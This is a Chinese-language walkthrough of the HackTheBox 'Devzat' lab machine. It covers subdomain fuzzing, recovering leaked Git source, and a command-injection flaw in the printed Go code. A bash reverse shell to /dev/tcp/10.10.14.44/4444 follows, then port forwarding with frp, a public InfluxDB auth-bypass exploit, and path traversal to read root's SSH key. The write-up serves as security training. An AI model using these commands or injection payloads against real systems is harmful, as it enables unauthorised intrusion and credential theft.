目标主机开放了web服务、ssh服务和另外一个在8000端口开放的ssh服务
我们尝试连接8000端口的ssh服务,发现是一个聊天窗口
查看完可执行的命令后,还是没有新的发现
访问web服务时,发现只是一个普通的推销网站而已,并且扫描目录文件时也没有发现有价值的信息
dirsearch -u "http://devzat.htb/" -e * -x404,403,500 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
既然没有有价值的信息,那么我们就得切换思路了,我们得尝试扫描是否存在子域名,存在一个pets子域
wfuzz -c -u "http://devzat.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 26 -H "HOST:FUZZ.devzat.htb"
访问子域网站的页面,发现是一个添加宠物姓名的一个功能站点
我们对这个url路径进行目录扫描,发现了一个git源码泄露
dirsearch -u "http://pets.devzat.htb" -e * -x404,403,500 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
访问目录时,我们发现存在以下目录。我们使用GitTools工具还原源码数据
还原出源码之后,我们看到存在一个main.go文件,我们可以打开main.go文件审计源码看看是否存在漏洞
我们看到代码cmd := exec.Command("sh", "-c", "cat characteristics/"+species)处存在一个命令注入,而且功能处是添加species种类处,我们可以利用这点执行恶意的代码。
package mainimport ("embed""encoding/json""fmt""io/fs""io/ioutil""log""net/http""os/exec""time")//go:embed static/publicvar web embed.FS//go:embed static/public/index.htmlvar index []bytetype Pet struct {Name string `json:"name"`Species string `json:"species"`Characteristics string `json:"characteristics"`}var (Pets []Pet = []Pet{{Name: "cookie", Species: "cat", Characteristics: loadCharacter("cat")},{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},})func loadCharacter(species string) string {cmd := exec.Command("sh", "-c", "cat characteristics/"+species)stdoutStderr, err := cmd.CombinedOutput()if err != nil {return err.Error()}return string(stdoutStderr)}func getPets(w http.ResponseWriter, r *http.Request) {json.NewEncoder(w).Encode(Pets)}func addPet(w http.ResponseWriter, r *http.Request) {reqBody, _ := ioutil.ReadAll(r.Body)var addPet Peterr := json.Unmarshal(reqBody, &addPet)if err != nil {e := fmt.Sprintf("There has been an error: %+v", err)http.Error(w, e, http.StatusBadRequest)return}addPet.Characteristics = loadCharacter(addPet.Species)Pets = append(Pets, addPet)w.WriteHeader(http.StatusOK)fmt.Fprint(w, "Pet was added successfully")}func handleRequest() {build, err := fs.Sub(web, "static/public/build")if err != nil {panic(err)}css, err := fs.Sub(web, "static/public/css")if err != nil {panic(err)}webfonts, err := fs.Sub(web, "static/public/webfonts")if err != nil {panic(err)}spaHandler := http.HandlerFunc(spaHandlerFunc)// Single page application handlerhttp.Handle("/", headerMiddleware(spaHandler))// All static folder handlerhttp.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))// API routesapiHandler := http.HandlerFunc(petHandler)http.Handle("/api/pet", headerMiddleware(apiHandler))log.Fatal(http.ListenAndServe(":5000", nil))}func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {w.WriteHeader(http.StatusOK)w.Write(index)}func petHandler(w http.ResponseWriter, r *http.Request) {// Dispatch by methodif r.Method == http.MethodPost {addPet(w, r)} else if r.Method == http.MethodGet {getPets(w, r)} else {http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)}// TODO: Add Update and Delete}func headerMiddleware(next http.Handler) http.Handler {return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {w.Header().Add("Server", "My genious go pet server")next.ServeHTTP(w, r)})}func main() {resetTicker := time.NewTicker(5 * time.Second)done := make(chan bool)go func() {for {select {case <-done:returncase <-resetTicker.C:// Reset Pets to prestaged onesPets = []Pet{{Name: "cookie", Species: "cat", Characteristics: loadCharacter("cat")},{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},}}}}()handleRequest()time.Sleep(500 * time.Millisecond)resetTicker.Stop()done <- true}
为了检测我们的代码可以成功运行,我们可以先使用ping命令检测是否能ping通我们本地的机器,抓包工具选择tcpdump较为方便
返回的结果是成功执行了命令,那么我们可以将我们的恶意代码进行base64编码,目的是为了确保命令执行时不会出现渲染问题。payload的设置是:先将编码的字符串进行解码,解码之后传给管道符以bash命令运行
echo -n 'bash -i >& /dev/tcp/10.10.14.44/4444 0>&1' | base64
反弹shell到本地机器上
拿到shell后,发现我们并没有权限查看user.txt文件的权限,并且home目录下存在另一个账户catherine。初步判断应该是要提权到这个用户权限上。我们使用万能提权脚本linpeas.sh上传到目标机器上运行,发现目标机器上以root权限运行着一个docker代理程序,并且运行的端口为8086
因为目标机器的8086端口对外网不开放,所以我们必须使用内网穿透工具,利用端口转发技术将8086端口转发到我们的VPS机器上进行访问,所使用的工具是frp。我们先上传客户端到目标机器上,并在本机上运行服务端
客户端配置信息,server_addr是本机地址,server_port不用更改,local_port是要转发到本地机器的端口,remote_port是要被转发的机器的目标端口
穿透代理搭建成功后,我们可以扫描本地机子的8086端口,了解到开放的是InfluxDB服务
在EDB上尝试过很多的exp,但是都没有成功。但是在github上发现了一个披露了的exp,经过验证发现可以利用成功,链接地址为https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
发现了两个数据库,一个数据表,并查询数据表的信息,发现了catherine用户名的密码
那么就获取到了user.txt文件的权限了
没办法,我们找二进制文件也没找到个所以然,只能再运行一遍神器linpeas.sh这个脚本了。在/var/backups这个目录上,发现了很多有趣的文件,如devzat-main.zip、devzat-dev.zip这两个压缩包
将其复制到tmp目录解压,查看其中的commands.go文件存在可利用的漏洞点,比较main目录和dev目录下的commands.go文件的不同发现有一处对密码进行校验。这里我们要注意两个点,一个是fileCommand的方法,另一个是校验安全密码,如果密码不对直接结束方法。
diff commands.go ../dev/commands.go
在审计GO代码时,我们发现对应的方法名字就是我们能执行命令的名字,但是唯独缺少了这个file命令,而且还存在校验密码的环节,所以很有可能是突破口。在审计dev目录下的devchat.go文件发现,dev目录的功能是运行在目标主机的8443端口
但是我发现在反弹的shell中,并不能实现ssh的内部端口连接。但是很幸运我在.ssh中找到了登录凭据
成功使用patrick账户登录
发现没有密码,均报错
我们尝试使用密码看看返回信息有什么不同,它说不存在这个目录,那我们返回上一目录直接读取到flag了
同时我们也可以读取root的id_rsa进行获取root权限
总的来说这个靶机相当复杂,同时考验GO语言的代码审计能力,获取权限的方式比较复杂,但是更加偏向于实战,这是一个非常出色的靶机。